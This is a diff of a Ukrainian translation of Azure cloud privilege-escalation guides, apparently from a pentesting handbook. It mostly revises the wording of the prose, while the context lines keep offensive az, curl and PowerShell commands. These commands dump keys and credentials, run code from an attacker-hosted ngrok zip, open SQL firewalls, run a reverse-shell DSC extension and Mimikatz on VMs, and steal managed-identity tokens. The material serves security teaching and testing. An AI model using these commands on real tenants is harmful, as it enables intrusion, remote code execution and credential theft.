> З достатніми правами для підключення до контейнера блобів, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Функції та підвищити привілеї.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,7 +118,7 @@ az storage blob upload \
|
||||
```
|
||||
### Microsoft.Web/sites/host/listkeys/action
|
||||
|
||||
Ця дозволяє перерахувати ключі функцій, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
|
||||
Ця дозволяє перерахувати ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
@@ -133,7 +133,7 @@ curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
```
|
||||
І щоб **змінити код, який виконується** у функції з:
|
||||
І щоб **змінити код, який виконується** у функції на:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
@@ -151,13 +151,13 @@ az rest --method POST --uri "https://management.azure.com/subscriptions/<subsrip
|
||||
```
|
||||
### Microsoft.Web/sites/host/functionKeys/write
|
||||
|
||||
Цей дозвіл дозволяє створювати/оновлювати ключ функції вказаної функції з:
|
||||
Ця дозволяє створювати/оновлювати ключ функції вказаної функції з:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### Microsoft.Web/sites/host/masterKey/write
|
||||
|
||||
Ця дозволяє створювати/оновлювати майстер-ключ для вказаної функції з:
|
||||
Ця дозволяє створити/оновити головний ключ для вказаної функції з:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
@@ -166,24 +166,24 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
|
||||
|
||||
### Microsoft.Web/sites/host/systemKeys/write
|
||||
|
||||
Ця дозволяє створювати/оновлювати системний ключ функції для вказаної функції з:
|
||||
Ця дозволяє створювати/оновлювати системний функціональний ключ для вказаної функції з:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action
|
||||
|
||||
Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливість знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
|
||||
Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
Крім того, це дозволяє отримати **SCM ім'я користувача та пароль** (якщо увімкнено) за допомогою:
|
||||
Крім того, це дозволення також дозволяє отримати **SCM ім'я користувача та пароль** (якщо увімкнено) за допомогою:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
|
||||
|
||||
Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де розташований код для виконання всередині функції. 
|
||||
Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми вже бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де знаходиться код для виконання всередині функції. 
|
||||
|
||||
Отже, можливо встановити значення налаштування **`WEBSITE_RUN_FROM_PACKAGE`**, яке вказує на URL zip-файл, що містить новий код для виконання всередині веб-додатку:
|
||||
|
||||
@@ -203,9 +203,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- Змініть функцію, збережіть попередні параметри та додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код.
|
||||
- Змініть функцію, зберігши попередні параметри, і додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код.
|
||||
|
||||
Наступний приклад моїх **власних налаштувань, які вам потрібно змінити на ваші**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, тут я розміщував додаток.
|
||||
Наступний приклад - це **мої власні налаштування, вам потрібно змінити значення на свої**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , тут я хостив додаток.
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -215,7 +215,7 @@ az rest --method PUT \
|
||||
```
|
||||
### Microsoft.Web/sites/hostruntime/vfs/write
|
||||
|
||||
З цією дозволом **можливо змінювати код програми** через веб-консоль (або через наступну API точку доступу):
|
||||
З цією дозволом **можливо змінювати код програми** через веб-консоль (або через наступну точку доступу API):
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
Ще один варіант - встановити свої власні облікові дані та використовувати їх за допомогою:
|
||||
Інший варіант полягає в тому, щоб встановити свої власні облікові дані та використовувати їх за допомогою:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
@@ -264,7 +264,7 @@ az rest --method PUT \
|
||||
```
|
||||
- **Метод SCM**
|
||||
|
||||
Тоді ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища:
|
||||
Потім ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
@@ -297,7 +297,7 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_Зверніть увагу, що **FTP-ім'я користувача** зазвичай має формат \<app-name>\\$\<app-name>._
|
||||
_Зверніть увагу, що **FTP ім'я користувача** зазвичай має формат \<app-name>\\$\<app-name>._
|
||||
|
||||
### Microsoft.Web/sites/publish/Action
|
||||
|
||||
@@ -359,9 +359,9 @@ az functionapp identity assign \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### Remote Debugging
|
||||
### Віддалене налагодження
|
||||
|
||||
Також можливо підключитися для налагодження працюючої Azure функції, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
|
||||
Також можливо підключитися для налагодження працюючої функції Azure, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
|
||||
|
||||
Можливо перевірити, чи увімкнено налагодження для функції за допомогою:
|
||||
```bash
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Key Vault
|
||||
|
||||
Для отримання додаткової інформації про цей сервіс перегляньте:
|
||||
Для отримання додаткової інформації про цю службу перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/keyvault.md
|
||||
|
||||
@@ -12,11 +12,11 @@
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read`
|
||||
|
||||
Зловмисник з цим дозволом може переглядати повідомлення з Azure Storage Queue. Це дозволяє зловмиснику бачити вміст повідомлень, не позначаючи їх як оброблені або не змінюючи їхній стан. Це може призвести до несанкціонованого доступу до чутливої інформації, що дозволяє витік даних або збір розвідки для подальших атак.
|
||||
Зловмисник з цим дозволом може переглядати повідомлення з Azure Storage Queue. Це дозволяє зловмиснику бачити вміст повідомлень, не позначаючи їх як оброблені або не змінюючи їхній стан. Це може призвести до несанкціонованого доступу до чутливої інформації, що дозволяє ексфільтрацію даних або збір розвідки для подальших атак.
|
||||
```bash
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
```
|
||||
**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляція чергою з боку несанкціонованих користувачів або сервісів.
|
||||
**Потенційний вплив**: Несанкціонований доступ до черги, витік повідомлень або маніпуляції з чергою з боку несанкціонованих користувачів або сервісів.
|
||||
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action`
|
||||
|
||||
@@ -26,13 +26,13 @@ az storage message get --queue-name <queue_name> --account-name <storage_account
|
||||
```
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action`
|
||||
|
||||
З цією дозволом зловмисник може додавати нові повідомлення до черги Azure Storage. Це дозволяє їм інжектувати шкідливі або несанкціоновані дані в чергу, що потенційно може викликати непередбачувані дії або порушити роботу downstream-сервісів, які обробляють повідомлення.
|
||||
З цією дозволом зловмисник може додавати нові повідомлення до Azure Storage Queue. Це дозволяє їм інжектувати шкідливі або несанкціоновані дані в чергу, що потенційно може викликати непередбачувані дії або порушити роботу downstream-сервісів, які обробляють повідомлення.
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
```
|
||||
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
|
||||
|
||||
Цей дозвіл дозволяє зловмиснику додавати нові повідомлення або оновлювати існуючі в Azure Storage Queue. Використовуючи це, вони можуть вставляти шкідливий контент або змінювати існуючі повідомлення, потенційно вводячи в оману програми або викликаючи небажану поведінку в системах, які покладаються на чергу.
|
||||
Ця дозволяє зловмиснику додавати нові повідомлення або оновлювати існуючі в Azure Storage Queue. Використовуючи це, вони можуть вставляти шкідливий контент або змінювати існуючі повідомлення, потенційно вводячи в оману програми або викликаючи небажану поведінку в системах, які покладаються на чергу.
|
||||
```bash
|
||||
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
|
||||
|
||||
@@ -46,7 +46,7 @@ az storage message update --queue-name <queue-name> \
|
||||
```
|
||||
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
|
||||
|
||||
Цей дозвіл дозволяє зловмиснику створювати або змінювати черги та їх властивості в межах облікового запису зберігання. Його можна використовувати для створення несанкціонованих черг, зміни метаданих або зміни списків контролю доступу (ACL), щоб надати або обмежити доступ. Ця можливість може порушити робочі процеси, ввести шкідливі дані, ексфільтрувати чутливу інформацію або маніпулювати налаштуваннями черги для подальших атак.
|
||||
Ця дозволяє зловмиснику створювати або змінювати черги та їх властивості в межах облікового запису зберігання. Її можна використовувати для створення несанкціонованих черг, зміни метаданих або зміни списків контролю доступу (ACL), щоб надати або обмежити доступ. Ця можливість може порушити робочі процеси, ввести шкідливі дані, ексфільтрувати чутливу інформацію або маніпулювати налаштуваннями черги для подальших атак.
|
||||
```bash
|
||||
az storage queue create --name <new-queue-name> --account-name <storage-account>
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Відправка повідомлень. Дія: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` АБО `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю автентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити операції, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
|
||||
Ви можете отримати `PrimaryConnectionString`, який діє як облікові дані для простору імен Service Bus. З цим рядком підключення ви можете повністю аутентифікуватися як простір імен Service Bus, що дозволяє вам відправляти повідомлення в будь-яку чергу або тему та потенційно взаємодіяти з системою способами, які можуть порушити роботу, видавати себе за дійсних користувачів або впроваджувати шкідливі дані в робочий процес обміну повідомленнями.
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQL Database Privesc
|
||||
|
||||
Для отримання додаткової інформації про SQL Database дивіться:
|
||||
Для отримання додаткової інформації про SQL Database перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
|
||||
|
||||
З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним у середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть експлуатувати SQL-автентифікацію для отримання необмеженого доступу.
|
||||
З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним у середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть використовувати SQL-аутентифікацію для отримання необмеженого доступу.
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
@@ -28,7 +28,7 @@ az sql server create \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
```
|
||||
Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватного кінцевого пункту, щоб увімкнути це:
|
||||
Додатково необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватної точки доступу, щоб увімкнути це:
|
||||
```bash
|
||||
az sql server update \
|
||||
--name <server-name> \
|
||||
@@ -37,7 +37,7 @@ az sql server update \
|
||||
```
|
||||
### "Microsoft.Sql/servers/firewallRules/write"
|
||||
|
||||
Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення бічного переміщення в середовищі шляхом відкриття чутливих ресурсів.
|
||||
Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення латерального переміщення в середовищі шляхом відкриття чутливих ресурсів.
|
||||
```bash
|
||||
# Create Firewall Rule
|
||||
az sql server firewall-rule create \
|
||||
@@ -56,7 +56,7 @@ az sql server firewall-rule update \
|
||||
--end-ip-address <new-end-ip-address>
|
||||
```
|
||||
Додатково, `Microsoft.Sql/servers/outboundFirewallRules/delete` дозволяє вам видаляти правило брандмауера.
|
||||
ПРИМІТКА: Необхідно мати увімкнений публічний доступ
|
||||
ПРИМІТКА: Необхідно мати увімкнений публічний доступ.
|
||||
|
||||
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
|
||||
|
||||
@@ -70,11 +70,11 @@ az sql server firewall-rule create \
|
||||
--end-ip-address <end_ipv6_address>
|
||||
```
|
||||
Додатково, `Microsoft.Sql/servers/ipv6FirewallRules/delete` дозволяє вам видаляти правило брандмауера.
|
||||
ПРИМІТКА: Необхідно, щоб публічний доступ був увімкнений
|
||||
ПРИМІТКА: Необхідно мати увімкнений публічний доступ
|
||||
|
||||
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
|
||||
|
||||
З цими дозволами ви можете підвищити привілеї в середовищі Azure SQL Server, отримуючи доступ до SQL баз даних і витягуючи критичну інформацію. Використовуючи команду нижче, зловмисник або авторизований користувач можуть встановити себе або інший обліковий запис як адміністратора Azure AD. Якщо "Microsoft Entra Authentication Only" увімкнено, ви можете отримати доступ до сервера та його екземплярів. Ось команда для встановлення адміністратора Azure AD для SQL сервера:
|
||||
З цими дозволами ви можете підвищити привілеї в середовищі Azure SQL Server, отримуючи доступ до SQL баз даних і витягуючи критичну інформацію. Використовуючи команду нижче, зловмисник або авторизований користувач можуть встановити себе або інший обліковий запис як адміністратора Azure AD. Якщо "Microsoft Entra Authentication Only" увімкнено, ви зможете отримати доступ до сервера та його екземплярів. Ось команда для встановлення адміністратора Azure AD для SQL сервера:
|
||||
```bash
|
||||
az sql server ad-admin create \
|
||||
--server <server_name> \
|
||||
@@ -84,7 +84,7 @@ az sql server ad-admin create \
|
||||
```
|
||||
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
|
||||
|
||||
З цими дозволами ви можете налаштувати та забезпечити "Тільки автентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути автентифікацію лише для Azure AD.
|
||||
З цими дозволами ви можете налаштувати та впровадити "Тільки автентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути автентифікацію лише для Azure AD.
|
||||
```bash
|
||||
#Enable
|
||||
az sql server azure-ad-only-auth enable \
|
||||
|
||||
@@ -12,13 +12,13 @@
|
||||
|
||||
### Microsoft.Storage/storageAccounts/listkeys/action
|
||||
|
||||
Принципал з цим дозволом зможе переглядати (та секретні значення) **ключів доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
|
||||
Принципал з цим дозволом зможе перерахувати (та секретні значення) **ключі доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
|
||||
```bash
|
||||
az storage account keys list --account-name <acc-name>
|
||||
```
|
||||
### Microsoft.Storage/storageAccounts/regenerateKey/action
|
||||
|
||||
Принципал з цим дозволом зможе оновити та отримати нове значення секрету **ключів доступу** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
|
||||
Принципал з цим дозволом зможе оновити та отримати нове значення секрету **access keys** облікових записів зберігання. Це дозволяє принципалу підвищити свої привілеї над обліковими записами зберігання.
|
||||
|
||||
Більше того, у відповіді користувач отримає значення оновленого ключа, а також неоновленого:
|
||||
```bash
|
||||
@@ -54,7 +54,7 @@ az storage container immutability-policy update \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--period <NEW_RETENTION_PERIOD_IN_DAYS>
|
||||
```
|
||||
## File shares specific privesc
|
||||
## Специфічний привілейований доступ до файлових ресурсів
|
||||
|
||||
### Microsoft.Storage/storageAccounts/fileServices/takeOwnership/action
|
||||
|
||||
@@ -70,7 +70,7 @@ az storage container immutability-policy update \
|
||||
|
||||
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
|
||||
|
||||
З цим дозволенням зловмисник може створювати та оновлювати (якщо має дозволення `Microsoft.Storage/storageAccounts/localusers/read`) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значним, оскільки дозволяє зловмиснику надати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути паролі, згенеровані Azure, та пари SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані.
|
||||
З цим дозволенням зловмисник може створювати та оновлювати (якщо має дозволення `Microsoft.Storage/storageAccounts/localusers/read`) нового локального користувача для облікового запису Azure Storage (налаштованого з ієрархічним простором імен), включаючи вказівку дозволів користувача та домашнього каталогу. Це дозволення є значущим, оскільки дозволяє зловмиснику надавати собі доступ до облікового запису сховища з конкретними дозволами, такими як читання (r), запис (w), видалення (d) та список (l) та інше. Додатково, методи аутентифікації, які використовуються, можуть бути паролями, згенерованими Azure, та парами SSH-ключів. Немає перевірки, чи вже існує користувач, тому ви можете перезаписати інших користувачів, які вже там є. Зловмисник може підвищити свої привілеї та отримати доступ SSH до облікового запису сховища, потенційно відкриваючи або компрометуючи чутливі дані.
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -121,7 +121,7 @@ az storage share-rm restore \
|
||||
```
|
||||
## Інші цікаві дозволи (TODO)
|
||||
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Змінює власність блобу
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Змінює право власності на блоб
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Модифікує дозволи блобу
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Повертає результат команди блобу
|
||||
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### **`Microsoft.Compute/virtualMachines/extensions/write`**
|
||||
|
||||
Ця дозволена дія дозволяє виконувати розширення у віртуальних машинах, що дозволяє **виконувати довільний код на них**.\
|
||||
Цей дозвіл дозволяє виконувати розширення у віртуальних машинах, що дозволяє **виконувати довільний код на них**.\
|
||||
Приклад зловживання користувацькими розширеннями для виконання довільних команд у ВМ:
|
||||
|
||||
{{#tabs }}
|
||||
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
Це **розширення ВМ**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows ВMs. Тому його можна використовувати для **виконання довільних команд** у Windows VMs через це розширення:
|
||||
Це **розширення VM**, яке належить Microsoft і використовує PowerShell DSC для управління конфігурацією Azure Windows VMs. Тому його можна використовувати для **виконання довільних команд** у Windows VMs через це розширення:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -155,17 +155,17 @@ Set-AzVMDscExtension `
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Гібридний Runbook Worker</summary>
|
||||
<summary>Гібридний робочий процес</summary>
|
||||
|
||||
Це розширення ВМ, яке дозволяє виконувати runbook-и у ВМ з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-services/az-automation-account/).
|
||||
Це розширення ВМ, яке дозволяє виконувати робочі процеси у ВМ з облікового запису автоматизації. Для отримання додаткової інформації перегляньте службу [Облікові записи автоматизації](../az-services/az-automation-account/).
|
||||
|
||||
</details>
|
||||
|
||||
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
|
||||
|
||||
Це необхідні дозволи для **створення нового галерейного застосунку та виконання його всередині ВМ**. Галерейні застосунки можуть виконувати будь-що, тому зловмисник може зловживати цим для компрометації екземплярів ВМ, виконуючи довільні команди.
|
||||
Це необхідні дозволи для **створення нового додатку галереї та виконання його всередині ВМ**. Додатки галереї можуть виконувати будь-що, тому зловмисник може зловживати цим для компрометації екземплярів ВМ, виконуючи довільні команди.
|
||||
|
||||
Останні 2 дозволи можуть бути уникнуті шляхом спільного використання застосунку з орендарем.
|
||||
Останні 2 дозволи можуть бути уникнуті шляхом спільного використання додатку з орендарем.
|
||||
|
||||
Приклад експлуатації для виконання довільних команд:
|
||||
|
||||
@@ -298,19 +298,19 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/login/action`
|
||||
|
||||
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (за умови, що автентифікація Entra ID увімкнена у VM).
|
||||
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (якщо автентифікація Entra ID увімкнена у VM).
|
||||
|
||||
Увійдіть через **SSH** за допомогою **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** та через **RDP** з вашими **звичайними обліковими даними Azure**.
|
||||
|
||||
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
|
||||
|
||||
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (за умови, що автентифікація Entra ID увімкнена у VM).
|
||||
Ця дозволяє користувачу **увійти як користувач у VM через SSH або RDP** (якщо автентифікація Entra ID увімкнена у VM).
|
||||
|
||||
Увійдіть через **SSH** за допомогою **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** та через **RDP** з вашими **звичайними обліковими даними Azure**.
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Усі ці дозволи необхідні для **створення VM з конкретною керованою ідентичністю** та залишення **порту відкритим** (22 у цьому випадку). Це дозволяє користувачу створити VM і підключитися до нього, а також **викрасти токени керованої ідентичності** для ескалації привілеїв до неї.
|
||||
Усі ці дозволи необхідні для **створення VM з конкретною керованою ідентичністю** та залишення **порту відкритим** (22 у цьому випадку). Це дозволяє користувачу створити VM і підключитися до нього та **викрасти токени керованої ідентичності** для ескалації привілеїв до нього.
|
||||
|
||||
Залежно від ситуації може знадобитися більше або менше дозволів для зловживання цією технікою.
|
||||
```bash
|
||||
@@ -327,7 +327,7 @@ az vm create \
|
||||
```
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ці дозволи достатні для **призначення нових керованих ідентичностей віртуальній машині**. Зверніть увагу, що віртуальна машина може мати кілька керованих ідентичностей. Вона може мати **системну призначену** ідентичність та **багато користувацьких керованих ідентичностей**.\
|
||||
Ці дозволи достатні для **призначення нових керованих ідентичностей віртуальній машині**. Зверніть увагу, що віртуальна машина може мати кілька керованих ідентичностей. Вона може мати **системну призначену ідентичність** та **багато користувацьких керованих ідентичностей**.\
|
||||
Потім, з сервісу метаданих можна згенерувати токени для кожної з них.
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
@@ -343,7 +343,7 @@ az vm identity assign \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
|
||||
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
|
||||
```
|
||||
Тоді атакуючий повинен **якось скомпрометувати ВМ**, щоб вкрасти токени з призначених керованих ідентичностей. Перевірте **додаткову інформацію в**:
|
||||
Тоді зловмисник повинен **якось скомпрометувати ВМ**, щоб вкрасти токени з призначених керованих ідентичностей. Перевірте **додаткову інформацію в**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
|
||||
Reference in New Issue
Block a user